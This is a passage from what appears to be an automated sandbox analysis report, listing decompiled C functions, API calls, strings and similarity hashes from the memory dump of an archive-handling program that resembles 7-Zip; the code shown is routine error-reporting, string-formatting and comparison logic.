									goto L9;
								}
								_t58 = _t58 + 1;
								_t60 = _t60 + 8;
								__eflags = _t58 - _t42;
								if(__eflags != 0) {
									continue;
								} else {
									goto L8;
								}
								goto L9;
							}
						}
						L9:
						_t24 = _t60 + 4; // 0x12686f0
						_t61 =  *_t24;
					} else {
						_t61 =  *((intOrPtr*)(_t63 + 0xc));
						__eflags = _t61 - 0x10000;
						if(_t61 >= 0x10000) {
							goto L4;
						}
					}
					E01231ABD(_t33,  *((intOrPtr*)(_t63 - 0x18)));
					_t37 = _t61;
				} else {
					_t37 =  *((intOrPtr*)(_t63 + 0xc));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t37;
			}

0x0123d0a4
0x0123d0ac
0x0123d0ae
0x0123d0b2
0x0123d0b7
0x0123d0bb
0x0123d0d2
0x0123d0da
0x0123d0df
0x0123d0e2
0x0123d0e7
0x0123d0e9
0x0123d0f6
0x0123d0f9
0x0123d103
0x0123d108
0x0123d108
0x0123d10b
0x0123d128
0x0123d128
0x0123d12e
0x0123d133
0x0123d138
0x0123d13b
0x0123d140
0x0123d141
0x0123d10d
0x0123d10d
0x0123d112
0x0123d117
0x0123d11c
0x0123d11e
0x00000000
0x00000000
0x0123d120
0x0123d121
0x0123d124
0x0123d126
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0123d126
0x0123d112
0x0123d146
0x0123d146
0x0123d146
0x0123d0eb
0x0123d0eb
0x0123d0ee
0x0123d0f4
0x00000000
0x00000000
0x0123d0f4
0x0123d14c
0x0123d152
0x0123d0bd
0x0123d0bd
0x0123d0bd
0x0123d15a
0x0123d162

APIs

__EH_prolog.LIBCMT ref: 0123D0A4
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123D141

Strings

Unsupported charset:, xrefs: 0123D12E

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionH_prologThrow
String ID: Unsupported charset:
API String ID: 461045715-616772432
Opcode ID: 6324804e98b5e14d0561b755f85edbf40b68f375e23ef25a6a45971b4334a081
Instruction ID: 120d29b71f1def9c910faf5f3111c9006c773dc140b058a06abbb0be6683d678
Opcode Fuzzy Hash: 6324804e98b5e14d0561b755f85edbf40b68f375e23ef25a6a45971b4334a081
Instruction Fuzzy Hash: 6021DEB1A2010A9BCF11EFD8C880AFDB7B5EFD5314F544058EA956B291CB31AD86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0125B0EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125B0EC(intOrPtr __ecx, signed int __edx) {
				intOrPtr* _t43;
				signed int _t59;
				signed int _t63;
				signed int _t64;
				void* _t67;

				E012639E0(0x1267120, _t67);
				 *((intOrPtr*)(_t67 - 0x14)) = __ecx;
				_t59 = __edx;
				 *((intOrPtr*)(_t67 - 0x18)) = 0;
				E0123232F(_t67 - 0x24);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				 *(_t67 - 0x10) = 0;
				_t43 = 0x126aa6c;
				do {
					_t63 = 1;
					_t64 = _t63 <<  *(_t67 - 0x10);
					if((_t59 & _t64) != 0) {
						 *((intOrPtr*)(_t67 - 0x18)) =  *_t43;
						if( *((intOrPtr*)(_t67 - 0x20)) != 0) {
							E012324D3();
						}
						E012324DB(_t67 - 0x24,  *((intOrPtr*)(_t67 - 0x18)));
						_t59 = _t59 &  !_t64;
					}
					 *(_t67 - 0x10) =  *(_t67 - 0x10) + 1;
					_t43 = _t43 + 4;
				} while (_t43 < 0x126aa98);
				if(_t59 != 0) {
					 *((char*)(_t67 - 0x34)) = 0x30;
					 *((char*)(_t67 - 0x33)) = 0x78;
					E01231644(_t59, _t67 - 0x32);
					_t78 =  *((intOrPtr*)(_t67 - 0x20));
					if( *((intOrPtr*)(_t67 - 0x20)) != 0) {
						E012324D3();
					}
					E012324DB(_t67 - 0x24, _t67 - 0x34);
				}
				E01231ABD(E0123238B( *((intOrPtr*)(_t67 - 0x14)), _t78, _t67 - 0x24),  *((intOrPtr*)(_t67 - 0x24)));
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return  *((intOrPtr*)(_t67 - 0x14));
			}

0x0125b0f1
0x0125b0fb
0x0125b101
0x0125b106
0x0125b109
0x0125b10e
0x0125b111
0x0125b114
0x0125b119
0x0125b11e
0x0125b11f
0x0125b123
0x0125b12b
0x0125b12e
0x0125b133
0x0125b133
0x0125b13e
0x0125b145
0x0125b145
0x0125b147
0x0125b14a
0x0125b14d
0x0125b157
0x0125b15e
0x0125b162
0x0125b166
0x0125b16b
0x0125b16f
0x0125b174
0x0125b174
0x0125b180
0x0125b180
0x0125b194
0x0125b1a3
0x0125b1ab

APIs

__EH_prolog.LIBCMT ref: 0125B0F1

Strings

0, xrefs: 0125B15E
x, xrefs: 0125B162

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID: 0$x
API String ID: 3519838083-1948001322
Opcode ID: 62f3339f6636fa54271dd756cd5a56a5be1c6293256b2a602ba665d7f383a2f4
Instruction ID: 374630abbcaa4f6d8d12e68a83e4617d83e37ae4e2a968a959d2217cf956e773
Opcode Fuzzy Hash: 62f3339f6636fa54271dd756cd5a56a5be1c6293256b2a602ba665d7f383a2f4
Instruction Fuzzy Hash: B7219072D2011BDBCF05EB98D991AFDBBB6FF98204F10005AE60177280DB755E44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01242D87 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01242D87(intOrPtr __ecx, intOrPtr* __edx, void* __edi, void* __eflags) {
				intOrPtr* _t53;
				void* _t55;

				E012639E0(E01265320, _t55);
				 *(_t55 - 0x14) =  *(_t55 - 0x14) & 0x00000000;
				 *((intOrPtr*)(_t55 - 0x10)) = __ecx;
				_t53 = __edx;
				E0123232F(_t55 - 0x20);
				 *(_t55 - 4) =  *(_t55 - 4) & 0x00000000;
				_t61 =  *__edx -  *((intOrPtr*)(__edx + 4));
				if( *__edx !=  *((intOrPtr*)(__edx + 4))) {
					E012324DB(_t55 - 0x20, 0x1269580);
					E0123254B(_t55 - 0x20, E012385F8( *((intOrPtr*)(_t53 + 4))));
					E012324DB(_t55 - 0x20, " : ");
					E01242E26(_t55 - 0x20,  *_t53, 0);
					E012324DB(_t55 - 0x20, 0x1269580);
					E01242E26(_t55 - 0x20,  *((intOrPtr*)(_t53 + 4)), 0);
				}
				E01231ABD(E0123238B( *((intOrPtr*)(_t55 - 0x10)), _t61, _t55 - 0x20),  *((intOrPtr*)(_t55 - 0x20)));
				 *[fs:0x0] =  *((intOrPtr*)(_t55 - 0xc));
				return  *((intOrPtr*)(_t55 - 0x10));
			}

0x01242d8c
0x01242d94
0x01242d98
0x01242d9c
0x01242da1
0x01242da8
0x01242dac
0x01242daf
0x01242dbb
0x01242dcc
0x01242dd9
0x01242de5
0x01242dee
0x01242dfb
0x01242e00
0x01242e10
0x01242e1d
0x01242e25

APIs

__EH_prolog.LIBCMT ref: 01242D8C

Strings

/ , xrefs: 01242DB2, 01242DB7, 01242DED
: , xrefs: 01242DD4

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID: / $ :
API String ID: 3519838083-1815150141
Opcode ID: 22941ac922e89418578759acdbde939454b4e7ac7c2e7164c8e5af60ab293bac
Instruction ID: a14174cf7f569475b0d2ca9957c66358ce524376a32b25d84b018777204523a8
Opcode Fuzzy Hash: 22941ac922e89418578759acdbde939454b4e7ac7c2e7164c8e5af60ab293bac
Instruction Fuzzy Hash: 3C110072920116DBCF19EB94DC91EFDB3B5FFA8600F54051DE11277190DB74AA44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0123E2D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0123E2D7(void* __ecx, void* __eflags) {
				intOrPtr* _t24;
				void* _t25;
				void* _t29;
				void* _t30;
				long _t45;
				void* _t48;
				void* _t51;

				E012639E0(E01264EF8, _t51);
				_t48 = __ecx;
				_t45 = GetLastError();
				E0123296F(_t51 - 0x18,  *((intOrPtr*)(_t51 + 8)));
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				_t57 = _t45;
				if(_t45 != 0) {
					E01232CAD(_t51 - 0x18, " : ");
					_t29 = E01234B4D(_t51 - 0x24, _t45, _t57);
					 *(_t51 - 4) = 1;
					_t30 = E01232C71(_t51 - 0x18, _t57, _t29);
					 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
					E01231ABD(_t30,  *((intOrPtr*)(_t51 - 0x24)));
				}
				E0123E2BC(_t51 - 0x18,  *((intOrPtr*)(_t51 + 0xc)));
				_t24 =  *((intOrPtr*)(_t48 + 0x28));
				_t25 =  *((intOrPtr*)( *_t24 + 0x1c))(_t24,  *((intOrPtr*)(_t51 - 0x18)));
				E01231ABD(_t25,  *((intOrPtr*)(_t51 - 0x18)));
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return _t25;
			}

0x0123e2dc
0x0123e2e6
0x0123e2f4
0x0123e2f6
0x0123e2fb
0x0123e2ff
0x0123e301
0x0123e30b
0x0123e315
0x0123e31e
0x0123e322
0x0123e32a
0x0123e32e
0x0123e333
0x0123e33a
0x0123e33f
0x0123e348
0x0123e350
0x0123e35d
0x0123e365

APIs

__EH_prolog.LIBCMT ref: 0123E2DC
GetLastError.KERNEL32(?), ref: 0123E2E8

Part of subcall function 01234B4D: __EH_prolog.LIBCMT ref: 01234B52

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

: , xrefs: 0123E303

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ErrorLastfree
String ID: :
API String ID: 683690243-3653984579
Opcode ID: c400768fdf4e4445b9f37a64041d54cc5795b1cf73275aaa31db263660edc88c
Instruction ID: 44fba4aada5ac53f06dddec4443b8d5ed0156099acd036bf7dcf4ad9678b8bac
Opcode Fuzzy Hash: c400768fdf4e4445b9f37a64041d54cc5795b1cf73275aaa31db263660edc88c
Instruction Fuzzy Hash: 8701D6B2D10246DBCF05FBE8C805EEDBBB5AFA4314F104558E501A3290CF708945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0125D3B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125D3B2(struct _IO_FILE** __ecx, void* __edx, void* __ebp, intOrPtr _a4) {
				struct _IO_FILE** _t35;
				intOrPtr _t36;

				_t36 = _a4;
				_t35 = __ecx;
				if( *((char*)(_t36 + 0x21)) == 0) {
					if( *(_t36 + 0x3c) < 0) {
						fputs("Can not open the file as archive",  *__ecx);
						goto L5;
					} else {
						_t4 = _t36 + 0x24; // 0x1261ef0
						E01231E52(_t4);
						E01231CAE(__ecx);
						_t5 = _t36 + 0x3c; // 0x26cc1868
						E0125D2F3(__ecx,  *((intOrPtr*)( *((intOrPtr*)(__edx + 0x28)) +  *_t5 * 4)) + 0xc, 0);
					}
				} else {
					fputs("Can not open encrypted archive. Wrong password?",  *__ecx);
					L5:
				}
				E01231CAE(_t35);
				E01231CAE(_t35);
				_t9 = _t36 + 0x30; // 0x1261efc
				E0125D34F(_t35, _t9);
				return 0;
			}

0x0125d3b4
0x0125d3bb
0x0125d3c1
0x0125d3d0
0x0125d402
0x00000000
0x0125d3d2
0x0125d3d2
0x0125d3d8
0x0125d3df
0x0125d3e4
0x0125d3f4
0x0125d3f4
0x0125d3c3
0x0125d402
0x0125d402
0x0125d409
0x0125d40c
0x0125d413
0x0125d418
0x0125d41d
0x0125d427

APIs

fputs.MSVCRT ref: 0125D402

Strings

Can not open encrypted archive. Wrong password?, xrefs: 0125D3C5
Can not open the file as archive, xrefs: 0125D3FD

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs
String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
API String ID: 1795875747-2399861261
Opcode ID: e9e21312f2daf344454c5501e06eed31b901547cc763c4d63d4415536a1ec619
Instruction ID: 8dc156c55fef73c2ace595b912622df69f53be390ceee8b302de4e41f2b8810a
Opcode Fuzzy Hash: e9e21312f2daf344454c5501e06eed31b901547cc763c4d63d4415536a1ec619
Instruction Fuzzy Hash: E601F4717342069FC755EBA4C4C4A7EB7A7EFD8210F08481ED942876D0DFB0B8618B41

Uniqueness

Uniqueness Score: -1.00%

Function 0125D00A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125D00A(struct _IO_FILE** __ecx, signed int __edx) {
				char _v20;
				char* _t7;
				struct _IO_FILE** _t14;

				_t14 = __ecx;
				if(__edx >= 0x60) {
					E0123157E(__edx,  &_v20);
					_t7 =  &_v20;
				} else {
					_t7 =  *(0x126afe8 + __edx * 4);
				}
				fputs(_t7,  *_t14);
				return fputs(" = ",  *_t14);
			}

0x0125d017
0x0125d019
0x0125d029
0x0125d02e
0x0125d01b
0x0125d01b
0x0125d01b
0x0125d03a
0x0125d04b

APIs

fputs.MSVCRT ref: 0125D03A
fputs.MSVCRT ref: 0125D043

Strings

= , xrefs: 0125D03E

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs
String ID: =
API String ID: 1795875747-2525689732
Opcode ID: cbd4e2cef5ae8dab87c439a0769cf76a7ac641c1b6633b21e355220847470bdd
Instruction ID: 988f2d31dbbfcc4a444fd1b015d0934de1e0bc5582d76639fe331ae65f3d5ae8
Opcode Fuzzy Hash: cbd4e2cef5ae8dab87c439a0769cf76a7ac641c1b6633b21e355220847470bdd
Instruction Fuzzy Hash: 9DE0D871A102199BCF10E7D8EC4587E3B79FBC42507040825E91197280E671D8218BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0123CA7B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0123CA7B() {
				signed int _v8;
				void* __ecx;
				void* _t6;
				WCHAR** _t11;

				_push(_t11);
				_t16 = _t11;
				_v8 = _v8 & 0x00000000;
				_t6 = OpenEventW(2, 0,  *_t11);
				_v8 = _t6;
				if(_t6 != 0 || GetLastError() == 0) {
					E012637B0( &_v8);
				}
				return E01231ABD(E01263730( &_v8),  *_t16);
			}

0x0123ca7e
0x0123ca80
0x0123ca82
0x0123ca8c
0x0123ca94
0x0123ca97
0x0123caa6
0x0123caa6
0x0123cabd

APIs

OpenEventW.KERNEL32(00000002,00000000,00000002,Unsupported Map data size,00000002,?,0123CA37,?,?,00000000,?), ref: 0123CA8C
GetLastError.KERNEL32(?,0123CA37,?,?,00000000,?), ref: 0123CA99

Strings

Unsupported Map data size, xrefs: 0123CA7F

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorEventLastOpen
String ID: Unsupported Map data size
API String ID: 330508107-1172413320
Opcode ID: 09f6f405ddda775f2ea774a57cdad7f440a2edf99e6982df51451a1bc79a0098
Instruction ID: 478b74ca0bd3d189de803f3b9bf44fd2659d33fb17a97f72a214379ab9eed1c1
Opcode Fuzzy Hash: 09f6f405ddda775f2ea774a57cdad7f440a2edf99e6982df51451a1bc79a0098
Instruction Fuzzy Hash: 1AE092B0620215FFEB35EF94ED0ABAC77FCEF10244F204059D505A20D0EB706A009A54

Uniqueness

Uniqueness Score: -1.00%

Function 01261609 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01261609(char* __ecx) {
				void* _t1;
				char* _t5;
				struct _IO_FILE** _t11;

				_t5 = __ecx;
				_t1 = E012615F9();
				_t11 =  *0x1274700; // 0x1274438
				if(_t11 != 0) {
					fputs("\n\n",  *_t11);
					fputs(_t5,  *_t11);
					return E01231CAE(_t11);
				}
				return _t1;
			}

0x0126160b
0x0126160d
0x01261612
0x0126161a
0x0126162a
0x0126162f
0x00000000
0x0126163b
0x0126163e

APIs

fputs.MSVCRT ref: 0126162A
fputs.MSVCRT ref: 0126162F

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

@F#v, xrefs: 01261623, 0126162C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$fputc
String ID: @F#v
API String ID: 1185151155-3381187899
Opcode ID: 9774e3ff1689ba065666c0b28bfe8d03245a1cf27658723b9a522f090581b540
Instruction ID: a3c7f74f5a320f0e197ceea643bdda2097fa32b59ec1b3a119fd1e3fa770337c
Opcode Fuzzy Hash: 9774e3ff1689ba065666c0b28bfe8d03245a1cf27658723b9a522f090581b540
Instruction Fuzzy Hash: 26D02B727111609BC7213A9D7C0082FB71CDFD461030A041FFA8053151C6216C704FE0

Uniqueness

Uniqueness Score: -1.00%

Function 0126131F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0126131F() {
				struct _IO_FILE** _t2;
				void* _t4;
				void* _t11;

				_t2 =  *0x12746fc; // 0x1274440
				fputs("Unsupported Windows version",  *_t2);
				_t4 = 2;
				 *[fs:0x0] =  *((intOrPtr*)(_t11 - 0xc));
				return _t4;
			}

0x0126131f
0x0126132b
0x01261335
0x012615b9
0x012615c2

APIs

fputs.MSVCRT ref: 0126132B

Strings

F#v, xrefs: 01261324
Unsupported Windows version, xrefs: 01261326

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs
String ID: F#v$Unsupported Windows version
API String ID: 1795875747-3163422507
Opcode ID: ba9f1762573864e4aa0c268c9034840c23ef0252927d53170a3577ca4319d7ad
Instruction ID: 578f751a79daf1928bf26f28844df503ef75ff688437ed81a6b88d29220eec31
Opcode Fuzzy Hash: ba9f1762573864e4aa0c268c9034840c23ef0252927d53170a3577ca4319d7ad
Instruction Fuzzy Hash: ECD0C973658280EFDB25AB88F45BB9477B5F788620F10896BE103C61D0E7B264509B50

Uniqueness

Uniqueness Score: -1.00%

Function 01252A4C Relevance: 5.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E01252A4C(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t11;
				signed int _t12;
				signed int _t15;
				signed int _t18;
				intOrPtr _t19;
				signed int* _t20;

				_t20 = _a12;
				_t19 = _a8;
				 *_t20 =  *_t20 & 0x00000000;
				_push(0x10);
				_push(0x126cdf8);
				_push(_t19);
				L01263D72();
				if(_t11 == 0) {
					L2:
					_t12 = _a4;
					_t15 = _t12;
					_t18 = _t12 + 4;
					L7:
					asm("sbb ecx, ecx");
					 *_t20 =  ~_t15 & _t18;
					 *((intOrPtr*)(_t12 + 0x10)) =  *((intOrPtr*)(_t12 + 0x10)) + 1;
					return 0;
				}
				_push(0x10);
				_push(0x126c4c8);
				_push(_t19);
				L01263D72();
				if(_t11 != 0) {
					_push(0x10);
					_push(0x126c4a8);
					_push(_t19);
					L01263D72();
					if(_t11 != 0) {
						_push(0x10);
						_push(0x126c408);
						_push(_t19);
						L01263D72();
						if(_t11 != 0) {
							return 0x80004002;
						}
						_t12 = _a4;
						_t15 = _t12;
						_t18 = _t12 + 0xc;
						goto L7;
					}
					_t12 = _a4;
					_t15 = _t12;
					_t18 = _t12 + 8;
					goto L7;
				}
				goto L2;
			}

0x01252a50
0x01252a54
0x01252a57
0x01252a5a
0x01252a5c
0x01252a61
0x01252a62
0x01252a6c
0x01252a82
0x01252a82
0x01252a85
0x01252a87
0x01252ac6
0x01252ac8
0x01252acc
0x01252ace
0x00000000
0x01252ad1
0x01252a6e
0x01252a70
0x01252a75
0x01252a76
0x01252a80
0x01252a8c
0x01252a8e
0x01252a93
0x01252a94
0x01252a9e
0x01252aaa
0x01252aac
0x01252ab1
0x01252ab2
0x01252abc
0x00000000
0x01252ad5
0x01252abe
0x01252ac1
0x01252ac3
0x00000000
0x01252ac3
0x01252aa0
0x01252aa3
0x01252aa5
0x00000000
0x01252aa5
0x00000000

APIs

memcmp.MSVCRT ref: 01252A62
memcmp.MSVCRT ref: 01252A76
memcmp.MSVCRT ref: 01252A94
memcmp.MSVCRT ref: 01252AB2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 641220f673c9f198a7327680b21e908a869a3f898c8472c22f59e764186fed62
Instruction ID: 68a7d5de313ae1275446ff5edc62ff1362f61a7b8ad36d26a7bb96ba778a5c6f
Opcode Fuzzy Hash: 641220f673c9f198a7327680b21e908a869a3f898c8472c22f59e764186fed62
Instruction Fuzzy Hash: 5911E132360206EBD725DE15CC42FB933A8EBA5720F048529ED49AB2C2F6B0E5908690

Uniqueness

Uniqueness Score: -1.00%

Function 0123DADE Relevance: 5.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0123DADE(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t11;
				signed int _t12;
				signed int _t15;
				signed int _t18;
				intOrPtr _t19;
				signed int* _t20;

				_t20 = _a12;
				_t19 = _a8;
				 *_t20 =  *_t20 & 0x00000000;
				_push(0x10);
				_push(0x126cdf8);
				_push(_t19);
				L01263D72();
				if(_t11 == 0) {
					L2:
					_t12 = _a4;
					_t15 = _t12;
					_t18 = _t12 + 4;
					L7:
					asm("sbb ecx, ecx");
					 *_t20 =  ~_t15 & _t18;
					 *((intOrPtr*)(_t12 + 0x10)) =  *((intOrPtr*)(_t12 + 0x10)) + 1;
					return 0;
				}
				_push(0x10);
				_push(0x126c4d8);
				_push(_t19);
				L01263D72();
				if(_t11 != 0) {
					_push(0x10);
					_push(0x126c408);
					_push(_t19);
					L01263D72();
					if(_t11 != 0) {
						_push(0x10);
						_push(0x126c3e8);
						_push(_t19);
						L01263D72();
						if(_t11 != 0) {
							return 0x80004002;
						}
						_t12 = _a4;
						_t15 = _t12;
						_t18 = _t12 + 0xc;
						goto L7;
					}
					_t12 = _a4;
					_t15 = _t12;
					_t18 = _t12 + 8;
					goto L7;
				}
				goto L2;
			}

0x0123dae2
0x0123dae6
0x0123dae9
0x0123daec
0x0123daee
0x0123daf3
0x0123daf4
0x0123dafe
0x0123db14
0x0123db14
0x0123db17
0x0123db19
0x0123db58
0x0123db5a
0x0123db5e
0x0123db60
0x00000000
0x0123db63
0x0123db00
0x0123db02
0x0123db07
0x0123db08
0x0123db12
0x0123db1e
0x0123db20
0x0123db25
0x0123db26
0x0123db30
0x0123db3c
0x0123db3e
0x0123db43
0x0123db44
0x0123db4e
0x00000000
0x0123db67
0x0123db50
0x0123db53
0x0123db55
0x00000000
0x0123db55
0x0123db32
0x0123db35
0x0123db37
0x00000000
0x0123db37
0x00000000

APIs

memcmp.MSVCRT ref: 0123DAF4
memcmp.MSVCRT ref: 0123DB08
memcmp.MSVCRT ref: 0123DB26
memcmp.MSVCRT ref: 0123DB44

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 64a8a68569f95b3e1d3178c64afec00cce722d26beac5bae7245ce129c02cb16
Instruction ID: b5612c50bccd57ac9798913ec6f07051daa31412665c9df7a99ba632db8d9c88
Opcode Fuzzy Hash: 64a8a68569f95b3e1d3178c64afec00cce722d26beac5bae7245ce129c02cb16
Instruction Fuzzy Hash: E21104713A030A67C7199F15CC02FB933ADABB5611F048529FE49DB2C2F6A0E5908394

Uniqueness

Uniqueness Score: -1.00%

Function 01260201 Relevance: 5.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E01260201(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t10;
				signed int _t11;
				signed int _t14;
				signed int _t17;
				intOrPtr _t18;
				signed int* _t19;

				_t19 = _a12;
				_t18 = _a8;
				 *_t19 =  *_t19 & 0x00000000;
				_push(0x10);
				_push(0x126cdf8);
				_push(_t18);
				L01263D72();
				if(_t10 != 0) {
					_push(0x10);
					_push(0x126c2e8);
					_push(_t18);
					L01263D72();
					if(_t10 == 0) {
						goto L1;
					}
					_push(0x10);
					_push(0x126c2d8);
					_push(_t18);
					L01263D72();
					if(_t10 != 0) {
						_push(0x10);
						_push(0x126c408);
						_push(_t18);
						L01263D72();
						if(_t10 != 0) {
							return 0x80004002;
						}
						_t11 = _a4;
